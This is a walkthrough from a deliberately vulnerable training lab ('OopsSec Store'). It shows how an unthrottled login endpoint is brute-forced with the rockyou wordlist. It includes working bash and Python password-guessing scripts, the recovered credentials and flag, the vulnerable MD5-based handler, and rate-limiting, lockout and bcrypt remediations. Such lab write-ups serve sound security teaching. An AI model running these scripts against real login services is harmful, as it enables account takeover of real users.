Skip to content
OopsSec Store - Walkthroughs
Go back

Brute Force Attack: Exploiting a Login Endpoint With No Rate Limiting

Edit page

This writeup covers the exploitation of a missing rate limiting control on the login endpoint of OopsSec Store. The vulnerability allows an attacker to perform an unrestricted brute force attack against a known email address, recovering the account password from a standard wordlist and achieving full account takeover.

Table of contents

Open Table of contents

Lab setup

The lab requires Node.js. From an empty directory, run the following commands:

npx create-oss-store oss-store
cd oss-store
npm start

Once Next.js has started, the application is accessible at http://localhost:3000.

Reconnaissance

The application’s News page (/news) contains a section titled “Leaked Data Sample” that simulates a published data breach. This section exposes three user records:

EmailLeaked data
alice@example.comEmail + MD5 hash
bob@example.comEmail + MD5 hash
vis.bruta@example.comEmail only

Leaked data sample on the News page

The first two accounts have their password hashes exposed, which means they can be cracked offline. The third account, vis.bruta@example.com, has a confirmed valid email address but no associated hash. Since no hash is available, the only remaining attack vector is an online brute force against the login endpoint.

Identifying the login endpoint

Submitting any credentials through the login form at /login sends a POST request to /api/auth/login with a JSON body:

{
  "email": "vis.bruta@example.com",
  "password": "test"
}

Every failed attempt returns a 401 status with {"error": "Invalid password"}. The response is consistent regardless of how many attempts are made, which indicates the absence of any rate limiting, account lockout, or progressive delay mechanism.

Failed login attempt in browser DevTools

Exploitation

Preparing the wordlist

The attack uses rockyou.txt, a widely available wordlist containing over 14 million passwords extracted from a real-world data breach. It is the standard wordlist for brute force exercises and covers most common passwords.

Brute forcing with a bash loop

The following script iterates through the wordlist and sends each password to the login endpoint until a successful authentication response is received:

while read password; do
  response=$(curl -s -X POST http://localhost:3000/api/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"vis.bruta@example.com\",\"password\":\"$password\"}")

  if echo "$response" | grep -q "token"; then
    echo "Password found: $password"
    echo "$response"
    break
  fi
done < rockyou.txt

The script checks each response for the presence of a token field, which only appears on successful authentication. Since the endpoint imposes no restrictions on request frequency, the script can send hundreds of requests per second.

Alternative: brute forcing with Python

import requests

url = "http://localhost:3000/api/auth/login"
email = "vis.bruta@example.com"

with open("rockyou.txt", "r", encoding="latin-1") as f:
    for password in f:
        password = password.strip()
        response = requests.post(url, json={
            "email": email,
            "password": password
        })

        if response.status_code == 200:
            data = response.json()
            if "token" in data:
                print(f"Password found: {password}")
                print(f"Flag: {data.get('flag')}")
                break

Result

After iterating through the wordlist, the script identifies the password:

Password found: sunshine

The password sunshine appears early in rockyou.txt, which means the attack completes within seconds.

Capturing the flag

Navigate to /login in the browser and authenticate with the recovered credentials:

Upon successful login, a toast notification displays the flag:

OSS{brut3_f0rc3_n0_r4t3_l1m1t}

Flag displayed after successful login

The flag is also returned in the JSON response body from the login API, confirming the account takeover.

Vulnerable code analysis

The login handler in /app/api/auth/login/route.ts processes every incoming request without any form of throttling or abuse detection:

export async function POST(request: Request) {
  try {
    const body = await request.json();
    const { email, password } = body;

    // No rate limiting, no account lockout, no delay

    const hashedPassword = hashMD5(password);
    const user = await prisma.user.findUnique({
      where: { email },
    });

    if (!user || user.password !== hashedPassword) {
      return NextResponse.json(
        { error: "Invalid password" },
        { status: 401 }
      );
    }

    // Authentication proceeds
  }
}

Several factors compound the vulnerability:

Remediation

Rate limiting

The most direct mitigation is to restrict the number of authentication attempts allowed within a given time window. A common threshold is five attempts per 15-minute window, scoped per IP address or per account:

import rateLimit from "express-rate-limit";

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5,
  message: { error: "Too many login attempts. Please try again later." },
  standardHeaders: true,
  legacyHeaders: false,
});

This control alone eliminates the viability of high-speed brute force attacks.

Account lockout

Tracking failed authentication attempts per user account provides an additional layer of defense. After a configurable number of failures, the account enters a temporary lockout period:

const MAX_FAILED_ATTEMPTS = 5;
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 minutes

if (user.failedLoginAttempts >= MAX_FAILED_ATTEMPTS) {
  const lockoutEnd = new Date(
    user.lastFailedLogin.getTime() + LOCKOUT_DURATION
  );
  if (new Date() < lockoutEnd) {
    return NextResponse.json(
      { error: "Account temporarily locked. Try again later." },
      { status: 429 }
    );
  }
}

Account lockout protects against distributed attacks where requests originate from multiple IP addresses, bypassing IP-based rate limits.

Adopting a computationally expensive hash function

MD5 is unsuitable for password hashing for two reasons:

Replacing MD5 with bcrypt addresses both issues. Bcrypt incorporates a per-hash random salt, ensuring that two users with the same password produce different hashes, and its adjustable work factor significantly increases the computational cost of each verification attempt. This transforms brute force from a trivial operation into a computationally prohibitive one, even if rate limiting is somehow bypassed.


Edit page
Share this post on:

Previous Post
Malicious File Upload: Stored XSS via SVG
Next Post
Broken Object Level Authorization: Accessing Private Wishlists